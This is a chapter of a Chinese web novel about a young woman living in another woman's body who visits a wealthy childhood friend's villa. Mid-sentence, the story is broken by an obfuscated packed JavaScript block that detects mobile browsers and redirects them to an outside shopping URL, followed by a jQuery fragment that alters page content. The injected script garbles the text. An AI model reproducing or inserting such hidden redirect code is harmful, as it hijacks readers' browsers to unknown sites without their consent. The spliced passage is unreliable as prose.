16. 清丰市 2018年

作品:《轮转

    下了高速,车行至清丰市西南郊,穿过冗长的隧道,眼前梦幻般的景致如同掉进漫画里。


    宽阔笔直的马路两侧湖水环绕,绿意盎然,湖岸线曲折蜿蜒与远山相连。


    路的西侧,矗立着一排排红瓦石漆的欧式别墅。另一侧,一幢幢独栋别墅星罗密布在山湖之间,犹如镶嵌在湖面上的一颗颗明珠。


    谢京睿的车驶入沿湖路,在一栋典雅大气的中式庭院前停下,推开古铜色的复古大门,映入眼帘的是一幢灰黑色屋檐、象牙白外墙的三合院。沿着灰白色石阶往里走,暮色中的亭台楼阁、假山流水像是被镀了一层金箔,梦幻得如同走进世外桃源。


    田小沛和谢京睿穿过庭院,早已等候在门厅旁的崔阿姨快步上前迎接他们。


    谢京睿介绍说她是住家保姆,负责料理全家人的饮食起居。


    崔阿姨早就看见谢少身后跟着个漂亮的娇俏女孩,含笑招呼她,“这就是少爷心心念念的女孩吧?”


    田小沛闻言,不好意思瞄了眼谢京睿。


    谢京睿笑而不语。


    崔阿姨将他们迎到饭厅,饭菜早已备下,满满一大桌,都是田小沛喜爱的菜。


    谢京睿说父亲出差过两天才能回来,让她随意不必拘礼。


    田小沛大大松了口气。刚坐下,一碗鸡汤就递到她手边。她朝崔阿姨礼节性地笑笑,心想她不会一直在旁伺候吧,多不自在啊!


    只是微微皱了皱眉,谢京睿便读懂了小沛的心思,他找个理由让崔阿姨退下了。


    “阿姨是很久没见我了。”谢京睿解释,“我们平时吃饭她都在厨房忙活。”


    田小沛点点头,边吃边环视四周,全屋以浅棕色和白色色调为主,饭厅一侧透过落地玻璃可以欣赏园中美景。另一侧放着一道山水画木质屏风,透过屏风向外看,超大面积的客厅容纳了古雅装饰的茶室,客厅墙面挂着一副仙鹤和老人的水墨画,雕花镂空的月洞门将另一侧的园景囊括进来。


    即使天黑看不清园中景致,坐在这样的屋子里也是种享受啊!


    田小沛摸了摸饭桌,质感不错,样式和成色看上去都很高级,不禁心想:没想到谢伯伯生意能做这么大,还这么懂得享受生活。以前在镇上只觉得他财大气粗,跟儒雅靠不上边,这才几年都能住上这么高大上的别墅了。转而又想起她爸,不知道他现在过得怎么样。


    谢京睿看她心事重重,问她是不是哪里不舒服。


    田小沛摇摇头,她穿到这儿两个多月,始终没机会见到父母,想起以往两家人的交情,忍不住问,“我爸这些年过得咋样?还做生意么?”


    原本要喝汤的谢京睿缓缓放下勺子,微张着嘴,掩不住眼中的惊恐和诧异,怔怔地看着她,太阳穴突突地跳。


    田小沛见他脸色有异,放下筷子,莫名有些紧张,追问,“他是不是还在老家?没跟你们联系吗?”


    谢京睿细细观察她,看她眼神发懵又急切,像是完全忘掉了那件事,这……不可能吧!按医生所说,她可能会选择性失忆,但不能忘得这么彻底吧!


    他原本还在犹豫要不要带她去和郝医生聊聊,现在看来完全有必要。


    为了不刺激她,他并没正面回答,含糊说一切都好,又让崔阿姨上甜点,把话题掩了过去。


    田小沛向来心大,心想或许这些年两家人没来往呢,她这样问,对方肯定尴尬。爸妈究竟过得怎么样,她得亲自去看看。


    晚饭后,谢京睿联系了私人心理顾问郝医生,了解到田小沛的状况后,郝医生决定亲自来一趟谢宅。


    小沛的卧室被安排在全屋采光最好的房间,谢京睿记得她曾说过,她希望以后住的房子全天都能晒到太阳。于是自入住别墅后,谢京睿就把朝南的院舍空了出来,按照她描绘过的房间模样布置,每天让人打扫。他坚信有一天能找到她。


    小沛在谢京睿的带领下依次走过起居室、衣帽间、书房、瑜伽室、小花园……两百多平的房子她一人独享?!他对我,哦不,是对田家希也太太太太太好了吧!


    小沛嘟着嘴,心里不是滋味。七年后的谢京睿已不是她认识的那个谢京睿了,说他完全变了个人也不为过。


    谢京睿看她若有所思,告诉她不必多虑,以后要想来省城玩,或是想在省城定居,可以优先选择这里。话虽说得很委婉,但他心里却想的是:只要你肯来这儿,我是不会让你从我身边溜走的。


    “你为什么要对……我这么好呢?”小沛很好奇他和田家希的故事。


    “失而复得的心情你了解吗?”他动情地看着她,猜她也有同样感受。


    “哦,哦.......”小沛眨眨眼,盲猜,“你觉得你亏欠我?”


    他不置可否。


    “我不觉得你亏欠我。”她开始套话。


    谢京睿欲言又止。在这七年里,他曾不止一次悔恨、打骂自己,如果当初他能强硬一点,她,甚至她爸妈是不是就能免遭此难!


    戳到痛处的发问,让他感觉无法呼吸,他垂下眼眸,声音沙哑,“早点睡吧。”


    第二天,田小沛说想去嘉宁县看看。正在用早餐的谢京睿脸色突变,他想起昨天和郝医生的通话——在病情没稳定前,最后不要提及往事,以免触景生情引发更大的心理创伤。


    “要不咱们先去市里逛逛吧!”他看她衣着简朴,计划带她买几件漂亮衣服,再去豪吃一顿。


    “好哇!”小沛也很想去看看朝思暮想的大都市,去嘉宁的想法当即就消散了。


    两人从商场出来,已快中午了,小沛站在商场门口等谢京睿从地库开车来接。


    这时有个眉目清秀的年轻男子从门口路过,一眼瞧见小沛,忙上前招呼,“家希姐,你怎么在这儿?啊,你来城里怎么不告诉我们一声?”


    田小沛两眼茫然地看着他,听他说话语气应该是老相识,再看他欣喜的表情,应该是彼此很久没见了。她琢磨着,回答得很谨慎,“同事约


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104173|195191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的,我也是今天才到,还没来得及。呵呵。”


    小伙子似乎对她答复不满意,“我妈妈给你打了那么多次电话,你总是不接,还说要去学校看看你。”


    这是什么情况?小沛心里嘀咕,看他和自己年纪相仿,她妈妈应该是田家希长辈。但她在田家希的手机通讯录里没看见长辈称谓的联系人啊!


    这时谢京睿的车停在他俩跟前,他摇下车窗,看见小沛和一帅哥说着话,那男人眼珠子都快黏在她身上了。


    谢京睿冷脸,咳了一声,田小沛像是听到指令的士兵,快步上前拉开车门,临走前还不忘跟小伙子客套,“我今天忙,以后再联系啊!”


    谢京睿听她跟那男人说“以后联系”,酸唧唧地问,“我怎么不知道你在这儿还有个常联系的朋友?”


    小沛原以为可以从他这儿探听一二,看来没望了。她暗自思忖:田家希留下的个人信息不多,她之前也没有细致地考究过她。现在在状况频出的情况下,她觉得田家希的命比她好太多,那就必须得行动起来。


    谢京睿看她心不在焉,以为她在想刚才那个男人,醋意翻涌,一个急刹,把田小沛从沉思中拽了出来。


    “你跟他什么关系?”他脸色阴沉如水。


    她也说不上,胡诌了句,“熟人。”


    那男人看她的眼神可不像看普通的熟人。


    “那你说我们什么关系?”小沛不耐烦地反驳他,“你觉得我们是什么关系?”她越说越激动,音量不由得拔高。


    谢京睿也很窝火,他对她的过往知之甚少。他们接触的几个月中,她总是拒他于千里之外,对往事很少提及。唯一接触频繁的就是她在清丰市住院那几天,他也只从她嘴里知道些过往的零碎片段。


    现在,她明显有意瞒他,让他心烦不已。


    “他看上去对你很在意,追过你?”


    这句话倒打开田小沛的思路,她怎么没想到呢,也有可能是田家希的前男友啊!


    她拿不准,也不想纠缠这个话题,问他,“一会能好好吃饭么?”


    谢京睿见她仍回避话题,心里依然不痛快,但看她阴沉着脸,担心刺激她病情,也不敢多问。


    两人各怀心思吃完饭,田小沛说想回去歇着,谢京睿也没心思逛街,便驱车回了谢宅。


    一下车,田小沛借口想睡午觉把自己关进卧室,她迫不及待拿出田家希手机仔细翻看,希望能从中寻到蛛丝马迹。


    谢京睿很郁闷,回到自己卧室盯着内室那扇门看了半天,在说与不说之间陷入焦灼……


    最终,他还是决定让她知道。虽然他并不想用这种方式告知她,但今天出现的那个人让他焦躁不安。


    他慢慢走到南院舍,见小沛的房门虚掩着,轻敲了敲门,说有秘密要给她看。


    小沛听说有秘密,酸胀的眼睛突然有了神。她跟着他穿过花园,进入正门门厅,走进二楼卧室,在卧室一角类似衣帽间的门口停了下来。